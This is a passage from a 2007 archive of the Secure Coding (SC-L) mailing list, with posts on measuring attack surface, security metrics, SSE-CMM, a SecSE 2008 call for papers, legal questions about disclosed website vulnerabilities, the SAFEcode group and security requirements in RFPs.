Are there any tools out there that try to measure attack surface?  Has
anybody had any experience in trying to apply it?

- Steve

From jms at bughunter.ca  Mon Oct  8 15:40:11 2007
From: jms at bughunter.ca (J.M. Seitz)
Date: Mon, 08 Oct 2007 12:40:11 -0700
Subject: [SC-L] Microsoft Pushes Secure, Quality Code
In-Reply-To: <Pine.GSO.4.51.0710081311590.29231@faron.mitre.org>
References: <CEFDE000-45DB-4C5C-89E5-1DBF239B907F@KRvW.com>
	<Pine.GSO.4.51.0710081311590.29231@faron.mitre.org>
Message-ID: <470A879B.4050500@bughunter.ca>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hey Steve,

> Are there any tools out there that try to measure attack surface?  Has
> anybody had any experience in trying to apply it?

SecurityInnovation's HoloDeck has an attack surface module, but
unfortunately it is just a fancy wrapper for a Win32 strace() :)

I am currently working on a research paper for my GCIH Gold that is
about measuring code-coverage of an attack surface. For example being
able to intelligently measure whether that magic packet you sent into
a process _really_ covered 100 basic blocks, or were 20 of them a
threading routine completely outside of the main surface (packet
parsing) area.

It is a tough thing to just measure, however some researchers
at Carnegie Mellon have done some interesting work:

http://www.cs.cmu.edu/~pratyus/qop.pdf

And their mainpage is here: http://www.cs.cmu.edu/~pratyus/as.html

Anyways I would be interested to hear some of the gurus respond back on
this topic, as its a very relevant metric for QA and infosec professionals.

JS


-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.7 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQFHCoebKEj7ZJktQNsRArTgAKCWf96Tp8NXF7GuTiQN1BzyVlTEMwCfXpj9
++VxKBeI8WcXP5tLWUYQdU4=
=WoVW
-----END PGP SIGNATURE-----

From gem at cigital.com  Mon Oct  8 15:38:52 2007
From: gem at cigital.com (Gary McGraw)
Date: Mon, 8 Oct 2007 15:38:52 -0400
Subject: [SC-L] Microsoft Pushes Secure, Quality Code
In-Reply-To: <Pine.GSO.4.51.0710081311590.29231@faron.mitre.org>
References: <CEFDE000-45DB-4C5C-89E5-1DBF239B907F@KRvW.com>
	<Pine.GSO.4.51.0710081311590.29231@faron.mitre.org>
Message-ID: <41945506397C0C4886A8C5BFF089B5CA2AC9E7567B@va-mailhub.cigital.com>

Not surprising.  Last time I looked, attack surface is subjective.  McCabe is not.  BTW, McCabe's Cyclomatic complexity boils down to 85% lines of code and 15% data flow if you do a principal component analysis on it.  Just throw the code in the box and turn the crank.  Then discard the results and you're done!

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
blog www.cigital.clom/justiceleague
book www.swsec.com

-----Original Message-----
From: sc-l-bounces at securecoding.org [mailto:sc-l-bounces at securecoding.org] On Behalf Of Steven M. Christey
Sent: Monday, October 08, 2007 1:15 PM
To: Secure Coding
Subject: Re: [SC-L] Microsoft Pushes Secure, Quality Code


Interesting that attack surface isn't included, given that Microsoft was one of the earliest advocates of attack surface, a metric that is likely strongly associated with the number of input-related vulnerabilities.
It's probably hard to do perfectly, though, especially if any third-party APIs are involved.

Are there any tools out there that try to measure attack surface?  Has anybody had any experience in trying to apply it?

- Steve
_______________________________________________
Secure Coding mailing list (SC-L) SC-L at securecoding.org List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com) as a free, non-commercial service to the software security community.
_______________________________________________


From coley at linus.mitre.org  Mon Oct  8 16:07:41 2007
From: coley at linus.mitre.org (Steven M. Christey)
Date: Mon, 8 Oct 2007 16:07:41 -0400 (EDT)
Subject: [SC-L] Microsoft Pushes Secure, Quality Code
In-Reply-To: <41945506397C0C4886A8C5BFF089B5CA2AC9E7567B@va-mailhub.cigital.com>
References: <CEFDE000-45DB-4C5C-89E5-1DBF239B907F@KRvW.com>
	<Pine.GSO.4.51.0710081311590.29231@faron.mitre.org>
	<41945506397C0C4886A8C5BFF089B5CA2AC9E7567B@va-mailhub.cigital.com>
Message-ID: <Pine.GSO.4.51.0710081601190.3145@faron.mitre.org>


On Mon, 8 Oct 2007, Gary McGraw wrote:

> Not surprising.  Last time I looked, attack surface is subjective.
> McCabe is not.  BTW, McCabe's Cyclomatic complexity boils down to 85%
> lines of code and 15% data flow if you do a principal component analysis
> on it.

Hopefully the SEI people are monitoring this list and can provide their
feedback.  They've done some concrete work in making attack surface as
objective as possible, enough to the point where they compared 2 FTP
servers about a year ago.  One of their papers comments that they wanted
to use the code scanners to make the calculations for them, but for some
reason they couldn't.

I was under the impression from Mike Howard's comments over the years,
that MS had some concrete (perhaps subjective) comparisons between
different MS variants, and this was part of the argument for Vista's
security over past MS operating systems.

> Just throw the code in the box and turn the crank.  Then discard the
> results and you're done!

While I understand the sentiment, it seems to me that you can't get very
far without metrics of some sort.  Perhaps more importantly, the real
decision-makers need them because it's not their job (and probably not
their expertise) to pore through endless details.

- Steve

From lists at ticm.com  Mon Oct  8 20:36:15 2007
From: lists at ticm.com (Bret Watson)
Date: Tue, 09 Oct 2007 08:36:15 +0800
Subject: [SC-L] Question about SSE-CMM
In-Reply-To: <362526.8372.qm@web53711.mail.re2.yahoo.com>
References: <mailman.1.1191772801.67664.sc-l@securecoding.org>
	<362526.8372.qm@web53711.mail.re2.yahoo.com>
Message-ID: <6a9ms5$6acif5@outbound.icp-qv1-irony-out1.iinet.net.au>

Hi Fransisco,
definitely - the principles are the same. I used 
this a couple of years ago to bring a group from 
0 to lvl 1... Of course what really tends to 
happen is that some parts actually move to 3+ 
whilst others only just make it to 1 level - and 
by the rules of CMM you can only claim the level 
that all processes have achieved.

This may be your confusion as SSE-CMM spends more 
time talking about this that CMMI

Cheers,

Bret


At 07:00 PM 8/10/2007, Francisco Nunes wrote:
>Dear list members.
>
>After reading SSE-CMM, I became confused whether
>SSE-CMM can be used to improve their PAs like CMMI
>does, i.e., both improve in continuous or in staged
>way.
>
>Please, what are your opinions?
>
>Thank you.
>
>Yours sincerely,
>Francisco.
>
>
>       Abra sua conta no Yahoo! Mail, o ?nico 
> sem limite de espa?o para armazenamento!
>http://br.mail.yahoo.com/
>_______________________________________________
>Secure Coding mailing list (SC-L) SC-L at securecoding.org
>List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
>List charter available at - http://www.securecoding.org/list/charter.php
>SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
>as a free, non-commercial service to the software security community.
>_______________________________________________


From Holger.Peine at iese.fraunhofer.de  Tue Oct  9 05:23:27 2007
From: Holger.Peine at iese.fraunhofer.de (Holger.Peine at iese.fraunhofer.de)
Date: Tue, 9 Oct 2007 11:23:27 +0200
Subject: [SC-L] CfP for 2nd Int. Workshop on Secure Software Engineering
Message-ID: <687F148231CEBF449E6206E3FA7AAC3F701FBD@hermes.iese.fhg.de>

Dear all,

I think the following call for papers is highly relevant for readers
of this list, so please pardon me to promote an event for the first time:





   Second International Workshop on Secure Software Engineering (SecSE 2008)
                      In conjunction with ARES 2008
                  Barcelona, Catalonia, March 4th-7th 2008 
                     http://www.ares-conference.eu/conf/


                               Call for Papers


Introduction 
============
In our modern society, software is an integral part of everyday life,
and we expect and depend upon software systems to perform
correctly. Software security is about ensuring that systems continue
to function correctly also under malicious attack. As most systems now
are web-enabled, the number of attackers with access to the system
increases dramatically and thus the threat scenario changes. The
traditional approach to secure a system includes putting up defence
mechanisms like IDS and firewalls, but such measures are no longer
sufficient by themselves. We need to be able to build better, more
robust and more secure systems. Even more importantly, however, we
should strive to achieve these qualities in all software systems, not
just the ones that need special protection.

This workshop will focus on techniques, experiences and lessons
learned for engineering secure and dependable software.

Topics
======
Suggested topics include, but are not limited to:
- Secure architecture and design
- Security in agile software development
- Aspect-oriented software development for secure software
- Security requirements
- Risk management in software projects
- Secure implementation
- Secure deployment
- Testing for security
- Quantitative measurement of security properties
- Static and dynamic analysis for security
- Verification and assurance techniques for security properties
- Lessons learned
- Security and usability
- Teaching secure software development
- Experience reports on successfully attuning developers to secure software 
  engineering 

Important dates:
===============
- Submission Deadline: 	October 25th 2007 (NOTE: Extended from 10th) 
- Author Notification: 	November 30th 2007
- Author Registration: 	December 15th 2007
- Proceedings Version:	January 15th 2008
- Conference/workshop:	March 4th - March 7th 2008



Submission Guidelines
=====================
Authors are invited to submit research and application papers in IEEE
Computer Society Proceedings Manuscripts style (two columns,
single-spaced, including figures and references, using 10 fonts, and
number each page). Please consult the IEEE CS Author Guidelines at the
following web page:

http://preview.tinyurl.com/psg2o	 

We solicit the submission of full papers (8 pages) representing
original, previously unpublished work. Submitted papers will be
carefully evaluated based on originality, significance, technical
soundness, and clarity of exposition.

Duplicate submissions are not allowed. A submission is considered to
be a duplicate submission if it is submitted to other
conferences/workshops/journals or if it has been already accepted to
be published in other conferences/workshops/journals. Duplicate
submissions thus will be automatically rejected without reviews.

Contact author must provide the following information: paper title,
authors' names, affiliations, postal address, phone, fax, and e-mail
address of the author(s), about 200-250 word abstract, and about five
keywords and register at our ARES website:

http://www.ares-conference.eu/conf/ 

Submission of a paper implies that should the paper be accepted, at
least one of the authors will register for the ARES conference and
present the paper in the workshop. Accepted papers will be given
guidelines in preparing and submitting the final manuscript(s)
together with the notification of acceptance. Note that SecSE 2008
does not require anonymized submissions.

Publication
===========
All accepted papers will be published as ISBN proceedings published by
the IEEE Computer Society.
 
Organizing committee:
=====================
Torbj?rn Skramstad, Norwegian University of Science and Technology (NTNU)
Lillian R?stad, Norwegian University of Science and Technology (NTNU)
Martin Gilje Jaatun, SINTEF ICT, Norway

Enquiries to the organizing committee may be sent to: 
SecSE08 "replace with at-character" gmail.com

Program committee
=================
Rub?n Alonso, ESI, Spain 
Ana Cavalli, GET/INT, France
Ivan Flechais, University of Oxford, UK 
Per H?kon Meland, SINTEF ICT, Norway
Leon Moonen, Delft University of Technology, Netherlands  
Khalid Mughal, University of Bergen, Norway
Holger Peine, Fraunhofer IESE, Germany
Samuel Redwine, James Madison University, USA
Chunming Rong, University of Stavanger, Norway
Lillian R?stad, NTNU, Norway
Christoph Schuba, Sun Microsystems Inc., USA
Nahid Shahmehri, Link?ping University, Sweden
Torbj?rn Skramstad, NTNU, Norway
Bart De Win, KU Leuven, Belgium
Stephen Wolthusen, Royal Holloway University of London, UK

-- 
Dr. Holger Peine, Project Manager Security
Fraunhofer IESE, Fraunhofer-Platz 1, 67663 Kaiserslautern, Germany
Phone +49-631-6800-2134, Fax -1899 (shared)
http://www.iese.fraunhofer.de
PGP key via http://pgp.mit.edu ; fingerprint is 1BFA 30CB E3ED BA99 E7AE 2BBB C126 A592 48EA F9F8


From gem at cigital.com  Tue Oct  9 08:43:54 2007
From: gem at cigital.com (Gary McGraw)
Date: Tue, 9 Oct 2007 08:43:54 -0400
Subject: [SC-L] Microsoft Pushes Secure, Quality Code
Message-ID: <41945506397C0C4886A8C5BFF089B5CA2BB998C67E@va-mailhub.cigital.com>

I am in full agreement that we need metrics.  The challenge is that syntactic metric are easy to compute and not very useful from a management perspective and that business-relevant metrics are much fuzzier and difficult to compute given a glob of code.

That said, we should keep trying!  I believe one answer is to take advantage of relative metrics over time.

gem

company www.cigital.com

------Original Message------
From: Steven M. Christey
To: Gary McGraw
Cc: Steven M. Christey
Cc: Secure Coding Mailing List
Sent: Oct 8, 2007 4:07 PM
Subject: RE: [SC-L] Microsoft Pushes Secure, Quality Code


On Mon, 8 Oct 2007, Gary McGraw wrote:

> Not surprising.  Last time I looked, attack surface is subjective.
> McCabe is not.  BTW, McCabe's Cyclomatic complexity boils down to 85%
> lines of code and 15% data flow if you do a principal component analysis
> on it.

Hopefully the SEI people are monitoring this list and can provide their
feedback.  They've done some concrete work in making attack surface as
objective as possible, enough to the point where they compared 2 FTP
servers about a year ago.  One of their papers comments that they wanted
to use the code scanners to make the calculations for them, but for some
reason they couldn't.

I was under the impression from Mike Howard's comments over the years,
that MS had some concrete (perhaps subjective) comparisons between
different MS variants, and this was part of the argument for Vista's
security over past MS operating systems.

> Just throw the code in the box and turn the crank.  Then discard the
> results and you're done!

While I understand the sentiment, it seems to me that you can't get very
far without metrics of some sort.  Perhaps more importantly, the real
decision-makers need them because it's not their job (and probably not
their expertise) to pore through endless details.

- Steve



From gunnar at arctecgroup.net  Tue Oct  9 10:35:18 2007
From: gunnar at arctecgroup.net (Gunnar Peterson)
Date: Tue, 09 Oct 2007 09:35:18 -0500
Subject: [SC-L] Microsoft Pushes Secure, Quality Code
In-Reply-To: <41945506397C0C4886A8C5BFF089B5CA2BB998C67E@va-mailhub.cigital.com>
Message-ID: <C330FBD6.C808%gunnar@arctecgroup.net>

> That said, we should keep trying!  I believe one answer is to take advantage
> of relative metrics over time.
> 

I agree that this can be a practical starting point for organizations. I had
a client starting down the path with static analysis, they have thousands of
developers and many applications. They have a small software security team
and they obviously cannot scan every single app. Worse, if they find
something they don't necessarily have the governance in place to make sure
that a lot of what they find gets addressed.

So what we did was to get the CIO to give them one silver bullet a month.
They scanned 8-10 apps per month, and whichever one came up worst based on
the metrics in the group had to remediate. This approach has some
incremental benefits - 1) it gets security out of the "its perfect or its
broken business" 2) at least one project per month makes measurable
improvements 3) the projects are not being compared to an ivory tower but
rather to their peers who have to deliver under the same constraints, making
the suggested remediations more palatable to the developers.

There is no way to relativity, relativity is the way.

-gp





From romain.gaucher at nist.gov  Tue Oct  9 14:39:40 2007
From: romain.gaucher at nist.gov (Romain Gaucher)
Date: Tue, 09 Oct 2007 14:39:40 -0400
Subject: [SC-L] Microsoft Pushes Secure, Quality Code
In-Reply-To: <Pine.GSO.4.51.0710081311590.29231@faron.mitre.org>
References: <CEFDE000-45DB-4C5C-89E5-1DBF239B907F@KRvW.com>
	<Pine.GSO.4.51.0710081311590.29231@faron.mitre.org>
Message-ID: <470BCAEC.8040209@nist.gov>

Hi Steven,
I'm (with Vadim Okun) currently doing some research and prototype 
development in that direction. We are actually counting the number of 
diffused inputs (diffuse in a sense of affectation to other variables, 
even with filter application, etc.) going through sinks.

We are working on PHP code only for now since we have to work pretty 
much from scratch (using yaxx in order to generate the AST), but we 
started to do evaluation of real code (wordpress, mediawiki, dotclear, 
joomla etc.). We also plan to try different combination of possible 
metrics, and see the correlation between them.

But well, the main problem with such a metric is that's it's strongly 
related to how the programmer is working:
- Is it better to have lots of different variables that are a variation 
of a single input? I thought not...
- Is it better to have localized inputs in the source code? I think yes...
- Shall we count the number of classes, the Object orientation of the 
code, the number of functions... also?

These are some questions that we are currently working one. If you guys 
have some ideas about that or comments, I would really appreciate :)

Romain
http://rgaucher.info


Steven M. Christey wrote:
> Interesting that attack surface isn't included, given that Microsoft was
> one of the earliest advocates of attack surface, a metric that is likely
> strongly associated with the number of input-related vulnerabilities.
> It's probably hard to do perfectly, though, especially if any third-party
> APIs are involved.
> 
> Are there any tools out there that try to measure attack surface?  Has
> anybody had any experience in trying to apply it?
> 
> - Steve
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org
> List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
> List charter available at - http://www.securecoding.org/list/charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
> as a free, non-commercial service to the software security community.
> _______________________________________________
> 
> 


From dinis at ddplus.net  Tue Oct  9 19:29:45 2007
From: dinis at ddplus.net (Dinis Cruz)
Date: Wed, 10 Oct 2007 00:29:45 +0100
Subject: [SC-L] [WEB SECURITY] Some unanswered website vulnerability
	questions
In-Reply-To: <A732CD6E-CC95-43F3-B8E3-0CF8CDC4B036@whitehatsec.com>
References: <A732CD6E-CC95-43F3-B8E3-0CF8CDC4B036@whitehatsec.com>
Message-ID: <701fd6b60710091629s5daff3feq505c09fc6d444074@mail.gmail.com>

Jeremiah's was inspired and wrote 5 spot-on web application security
questions (see below) which we all as a community should:a) comment &
discuss
b) research properly its implications, and
c) come up (for each question) with a set of 'this is the current situation'
 answers.

I suspect that c) will be a very uncomfortable reading for a lot of people,
but that might actually make some things change (for the better I hope)

Dinis Cruz
Chief OWASP Evangelist
http://www.owasp.org

On 10/9/07, Jeremiah Grossman <jeremiah at whitehatsec.com> wrote:
>
> Earlier this morning I posted several questions to my blog, which I
> should have simul-posted here for additional comments. Two people
> (Rich and Adrian) commented fairly quickly with some very interesting
> and insightful answers that I highly recommend people read.
>
> blogged:
> http://jeremiahgrossman.blogspot.com/2007/10/some-unanswered-website-
> vulnerability.html
>
> Rich Mogull:
> http://securosis.com/2007/10/09/some-answers-for-jeremiah-website-
> vulnerabilities/
>
>
> -----
> In the industry we discuss at great length the legal risks and
> ethical responsibilities of the person disclosing an issue, but not
> enough about the same when it comes to the business itself. I've had
> a hard time getting authoritative answers to some seemingly simple
> questions, so I figured I'd give the blog a try. Lets assume a
> company is informed of a SQLi or XSS vulnerability in their website
> (I know, shocker) either privately or via public disclosure on
> sla.ckers.org. And that vulnerability potentially places private
> personal information (PPI) or intellectual property at risk of
> compromise. My questions are:
>
> 1) Is the company "legally" obligated to fix the issue or can they
> just accept the risk? Think SOX, GLBA, HIPAA, PCI-DSS, etc.
>
> 2) What if repairs require a significant time/money investment? Is
> there a resolution grace period, does the company have to install
> compensating controls, or must they shutdown the website while
> repairs are made?
>
> 3) Should an incident occur exploiting the aforementioned
> vulnerability, does the company carry any additional legal liability?
>
> 4) If the company's website is PCI-DSS certified, is the website
> still be considered certified after the point of disclosure given
> what the web application security sections dictate?
>
> 5) Does the QSA or ASV who certified the website potentially risk any
> PCI Council disciplinary action for certifying a non-compliant
> website? What happens if this becomes a pattern?
>
> While I'm happy to hear anyone's personal opinions, answers backed by
> cited references are the best. Laws, case law, investigations, news
> stories, FAQ's, or whatever are what I'm looking for.
>
>
>
> Regards,
>
>
> Jeremiah Grossman
> Chief Technology Officer
> WhiteHat Security, Inc.
> http://www.whitehatsec.com/
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20071010/b4951a59/attachment.html 

From gem at cigital.com  Tue Oct 16 14:44:46 2007
From: gem at cigital.com (Gary McGraw)
Date: Tue, 16 Oct 2007 14:44:46 -0400
Subject: [SC-L] Darkreading: software security and the law
Message-ID: <41945506397C0C4886A8C5BFF089B5CA2C186EA5A5@va-mailhub.cigital.com>

Hi sc-l,

The law has almost always lagged behind when it comes to omputer security, but given current approaches to software architecture and software security, things seem to be further behind than ever.  I wrote about that in my latest darkreading column:
http://www.darkreading.com/document.asp?doc_id=136128&WT.svl=column1_1

If you break a software system by meddling with code running on your own PC, is that illegal?

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
blog www.cigital.com/justiceleague
book www.swsec.com


From gem at cigital.com  Thu Oct 18 11:49:24 2007
From: gem at cigital.com (Gary McGraw)
Date: Thu, 18 Oct 2007 11:49:24 -0400
Subject: [SC-L] Software security video podcast
Message-ID: <41945506397C0C4886A8C5BFF089B5CA2C186EA7D8@va-mailhub.cigital.com>

hi sc-l,

Software security can be tricky when it comes to requirements, mostly because customers and consumers don't explicitly demand security, rather they impicitly expect it.  That's one of several points in this video podcast produced by Addison-Wesley.

Check it out:
http://www.informit.com/podcasts/episode.aspx?e=4fc6bda8-c8c0-426e-b7ad-07275d636f34&rl=1

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
blog www.cigital.com/justiceleague
book www.swsec.com


From jms at bughunter.ca  Thu Oct 18 17:40:33 2007
From: jms at bughunter.ca (J.M. Seitz)
Date: Thu, 18 Oct 2007 14:40:33 -0700
Subject: [SC-L] Software security video podcast
In-Reply-To: <41945506397C0C4886A8C5BFF089B5CA2C186EA7D8@va-mailhub.cigital.com>
References: <41945506397C0C4886A8C5BFF089B5CA2C186EA7D8@va-mailhub.cigital.com>
Message-ID: <4717D2D1.3010601@bughunter.ca>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

> Software security can be tricky when it comes to requirements, 
>mostly because customers and consumers don't explicitly demand
security, rather they impicitly expect it.

Wait a second here, don't customers also implicitly expect that the
software is going to run? I mean I haven't seen a requirements document
_ever_ that has said "The software must start.". They just implicitly
expect that its going to do that.

Doesn't seem like a big surprise that most customers will _expect_ that
"Hey, I don't want this software pwnable after you're done with it."

Not sure where the trickiness you are referring to comes from?

JS

ps. Didn't AW publish your book(s)? :) I would be real surprised
[turning on Tom Ptaceks snarky bit] if there's any mention of them.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.7 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQFHF9LQKEj7ZJktQNsRAj7XAJ4n02GXp1VIBXSqRYhOhk3oLQDVDgCeNZ8X
MpcLEq7QUXtk8ENmGb2TqaQ=
=Sdb7
-----END PGP SIGNATURE-----

From gem at cigital.com  Sun Oct 21 16:17:35 2007
From: gem at cigital.com (Gary McGraw)
Date: Sun, 21 Oct 2007 16:17:35 -0400
Subject: [SC-L] Silver Bullet: Mikko Hypponen
Message-ID: <41945506397C0C4886A8C5BFF089B5CA2C41B3430B@va-mailhub.cigital.com>

Hi sc-l,

This month's silver bullet episode features an interview with Mikko Hypponen, chief research officer at fSecure.  This episode was spawned by a great talk that Mikko gave at Usenix Security this year about mobile phone security.  We discuss that and many other aspects of security.

http://www.cigital.com/silverbullet/

Silver Bullet is co-sponored by Cigital and IEEE Security & Privacy magazine.  S&P is definitely worth subscribing to for those of you who don't subscribe yet.  In particular, the Building Security In department edited by John Steven and Gunnar Peterson always covers software security.

gem

company www.cigital.com
blog www.cigital.com/justiceleague
book www.swsec.com


From ken at krvw.com  Tue Oct 23 14:55:19 2007
From: ken at krvw.com (Kenneth Van Wyk)
Date: Tue, 23 Oct 2007 14:55:19 -0400
Subject: [SC-L] IT industry creates secure coding advocacy group
Message-ID: <43A06C17-6187-4ADA-8687-21DFC122CF09@krvw.com>

Saw this story via Gunnar's blog (thanks!):

http://www.gcn.com/online/vol1_no1/45286-1.html

Any thoughts on new group, which is calling itself SAFEcode?  Anyone  
here involved in its formation and care to share with us what's the  
driving force behind it?

Cheers,

Ken

-----
Kenneth R. van Wyk
SC-L Moderator
KRvW Associates, LLC
http://www.KRvW.com




-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 2454 bytes
Desc: not available
Url : http://krvw.com/pipermail/sc-l/attachments/20071023/17459657/attachment.bin 

From gunnar at arctecgroup.net  Tue Oct 23 15:07:32 2007
From: gunnar at arctecgroup.net (Gunnar Peterson)
Date: Tue, 23 Oct 2007 14:07:32 -0500
Subject: [SC-L] IT industry creates secure coding advocacy group
In-Reply-To: <43A06C17-6187-4ADA-8687-21DFC122CF09@krvw.com>
Message-ID: <C343B0A4.CCA4%gunnar@arctecgroup.net>

Hi Ken,

I thought the driving force was your book, after all they named their
initiative after it.

Anyhow, I'll reiterate here what I blogged:

It would be very interesting to see an equivalent initiative from the
customer side (who are the lucky recipients who have to pay for all the
security vulns created by the above). I know as a consultant there are many
large companies struggling with similar secure coding issues exacerbated by
outsourcing to some degree, and a lot could be gained by a shared effort.
The analyst community like the vendors has more or less Fortune 500s out in
the dark, so this may be an area where a half dozen or so motivated security
architects and CISOs at Fortune 500s could band together to create a group
to help drive change. None of the other big players (analysts, vendors, big
consulting firms) seem to be doing it. Why not bootstrap a Fortune 500
Secure Coding Initiative to drive better products, services and share best
practices in the software security space?

-gp


On 10/23/07 1:55 PM, "Kenneth Van Wyk" <ken at krvw.com> wrote:

> Saw this story via Gunnar's blog (thanks!):
> 
> http://www.gcn.com/online/vol1_no1/45286-1.html
> 
> Any thoughts on new group, which is calling itself SAFEcode?  Anyone
> here involved in its formation and care to share with us what's the
> driving force behind it?
> 
> Cheers,
> 
> Ken
> 
> -----
> Kenneth R. van Wyk
> SC-L Moderator
> KRvW Associates, LLC
> http://www.KRvW.com
> 
> 
> 
> 
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org
> List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
> List charter available at - http://www.securecoding.org/list/charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
> as a free, non-commercial service to the software security community.
> _______________________________________________



On 10/23/07 1:55 PM, "Kenneth Van Wyk" <ken at krvw.com> wrote:

> Saw this story via Gunnar's blog (thanks!):
> 
> http://www.gcn.com/online/vol1_no1/45286-1.html
> 
> Any thoughts on new group, which is calling itself SAFEcode?  Anyone
> here involved in its formation and care to share with us what's the
> driving force behind it?
> 
> Cheers,
> 
> Ken
> 
> -----
> Kenneth R. van Wyk
> SC-L Moderator
> KRvW Associates, LLC
> http://www.KRvW.com
> 
> 
> 
> 
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org
> List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
> List charter available at - http://www.securecoding.org/list/charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
> as a free, non-commercial service to the software security community.
> _______________________________________________

-- 
Gunnar Peterson, Managing Principal, Arctec Group
http://www.arctecgroup.net

Blog: http://1raindrop.typepad.com



From john.mason.jr at cox.net  Sat Oct 27 13:12:04 2007
From: john.mason.jr at cox.net (John Mason Jr)
Date: Sat, 27 Oct 2007 13:12:04 -0400
Subject: [SC-L] Software security video podcast
In-Reply-To: <4717D2D1.3010601@bughunter.ca>
References: <41945506397C0C4886A8C5BFF089B5CA2C186EA7D8@va-mailhub.cigital.com>
	<4717D2D1.3010601@bughunter.ca>
Message-ID: <47237164.6030703@cox.net>

J.M. Seitz wrote:
>> Software security can be tricky when it comes to requirements, 
>> mostly because customers and consumers don't explicitly demand
> security, rather they impicitly expect it.
> 
> Wait a second here, don't customers also implicitly expect that the
> software is going to run? I mean I haven't seen a requirements document
> _ever_ that has said "The software must start.". They just implicitly
> expect that its going to do that.
> 
> Doesn't seem like a big surprise that most customers will _expect_ that
> "Hey, I don't want this software pwnable after you're done with it."
> 
> Not sure where the trickiness you are referring to comes from?
> 
> JS
> 
> ps. Didn't AW publish your book(s)? :) I would be real surprised
> [turning on Tom Ptaceks snarky bit] if there's any mention of them.


If it isn't in the RFP then it's not a requirement, regardless of what
the customer implicitly expected.

The customers don't see a value to the added cost(s) of a secure system,
unless they have a business requirement to adhere to such as PCI
compliance, or HIPAA.

If a requirement is important to the business it must be explicit, but
this means the folks writing the RFP must have the understanding to make
sure it is in the RFP, otherwise the you could end up with the better
system (more secure) not being selected because it costs more.

Now the company who bids the project in a more secure fashion will also
get a tangible benefit from code review and other processes that make
for a secure system, but they won't invest in this avenue until the RFP
requires it.


John


From wisseman_stan at bah.com  Mon Oct 29 09:35:17 2007
From: wisseman_stan at bah.com (Wisseman, Stan [USA])
Date: Mon, 29 Oct 2007 10:35:17 -0400
Subject: [SC-L] Software security video podcast
In-Reply-To: <47237164.6030703@cox.net>
Message-ID: <3DDD87CF054E824191CB05B05E089BBE023608F3@MCLNEXVS07.resource.ds.bah.com>

> If it isn't in the RFP then it's not a requirement, regardless of what the
customer implicitly expected.

DHS has a draft guide to raise the awareness of those in the acquisition
process about the need for software security and how to include the RFP
language. 

https://buildsecurityin.us-cert.gov/daisy/bsi/resources/dhs/908.html 

The comment period is still open if you have suggestions on how to improve
the guide.

Stan

-----Original Message-----
From: sc-l-bounces at securecoding.org [mailto:sc-l-bounces at securecoding.org]
On Behalf Of John Mason Jr
Sent: Saturday, October 27, 2007 1:12 PM
To: Secure Coding
Subject: Re: [SC-L] Software security video podcast

J.M. Seitz wrote:
>> Software security can be tricky when it comes to requirements, mostly 
>> because customers and consumers don't explicitly demand
> security, rather they impicitly expect it.
> 
> Wait a second here, don't customers also implicitly expect that the 
> software is going to run? I mean I haven't seen a requirements 
> document _ever_ that has said "The software must start.". They just 
> implicitly expect that its going to do that.
> 
> Doesn't seem like a big surprise that most customers will _expect_ 
> that "Hey, I don't want this software pwnable after you're done with it."
> 
> Not sure where the trickiness you are referring to comes from?
> 
> JS
> 
> ps. Didn't AW publish your book(s)? :) I would be real surprised 
> [turning on Tom Ptaceks snarky bit] if there's any mention of them.


If it isn't in the RFP then it's not a requirement, regardless of what the
customer implicitly expected.

The customers don't see a value to the added cost(s) of a secure system,
unless they have a business requirement to adhere to such as PCI compliance,
or HIPAA.

If a requirement is important to the business it must be explicit, but this
means the folks writing the RFP must have the understanding to make sure it
is in the RFP, otherwise the you could end up with the better system (more
secure) not being selected because it costs more.

Now the company who bids the project in a more secure fashion will also get
a tangible benefit from code review and other processes that make for a
secure system, but they won't invest in this avenue until the RFP requires
it.


John

_______________________________________________
Secure Coding mailing list (SC-L) SC-L at securecoding.org List information,
subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
as a free, non-commercial service to the software security community.
_______________________________________________
-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/x-pkcs7-signature
Size: 4405 bytes
Desc: not available
Url : http://krvw.com/pipermail/sc-l/attachments/20071029/3374da7c/attachment.bin 

From Brian.A.Shea at bankofamerica.com  Mon Oct 29 12:13:03 2007
From: Brian.A.Shea at bankofamerica.com (Shea, Brian A)
Date: Mon, 29 Oct 2007 10:13:03 -0700
Subject: [SC-L] Software security video podcast
In-Reply-To: <47237164.6030703@cox.net>
References: <41945506397C0C4886A8C5BFF089B5CA2C186EA7D8@va-mailhub.cigital.com>
	<4717D2D1.3010601@bughunter.ca> <47237164.6030703@cox.net>
Message-ID: <CC9C8DDEEAD1814BA5FED7227254EE5B014ADA85@ex2k.bankofamerica.com>

IMO (IANAL) this is a position that is increasingly untenable as we move
forward, especially in the consumer markets.  As a customer I do, in
fact, expect software to operate "correctly" (per features and functions
promised / contracted) but also "securely" in that is doesn't contain
